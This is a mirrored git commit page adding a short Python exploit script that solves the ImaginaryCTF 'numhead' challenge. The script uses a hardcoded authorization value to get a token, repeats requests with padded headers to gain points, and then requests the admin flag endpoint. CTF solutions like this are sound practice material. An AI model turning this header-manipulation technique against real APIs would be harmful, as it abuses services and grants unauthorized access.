mirror of
https://github.com/vee1e/Write-ups.git
synced 2026-09-01 11:08:39 +00:00
commit
1f61996548
1 changed files with 19 additions and 0 deletions
19
misc/exploit.py
Normal file
19
misc/exploit.py
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
import requests
|
||||
# import json
|
||||
|
||||
url = "https://numhead.chal.imaginaryctf.org/"
|
||||
|
||||
new_token_json = requests.post(url + "api/user/new-token", headers={'authorization':'0nlyL33tHax0rsAll0w3d', 'imaginary_discoveries':'test'})
|
||||
new_token = new_token_json.json()
|
||||
choice = 50
|
||||
header = {'authorization':new_token['id']}
|
||||
for i in range(10):
|
||||
new_field = f"blah{i}"
|
||||
header[new_field] = f"test{i}"
|
||||
r = requests.post(url + f"api/user/nothing-here", headers=header)
|
||||
# r = requests.post(url + f"api/user/nothing-here", headers={'authorization':new_token['id'], 'imaginary_discoveries':'test', 'test':'blah', 'test1':'blah'})
|
||||
points = requests.get(url + "api/user/points", headers={'authorization':new_token['id']})
|
||||
flag = requests.get(url + "api/admin/flag", headers={'authorization':new_token['id']})
|
||||
print(r.text)
|
||||
print(points.text)
|
||||
print(flag.text)
|
||||
Loading…
Add table
Add a link
Reference in a new issue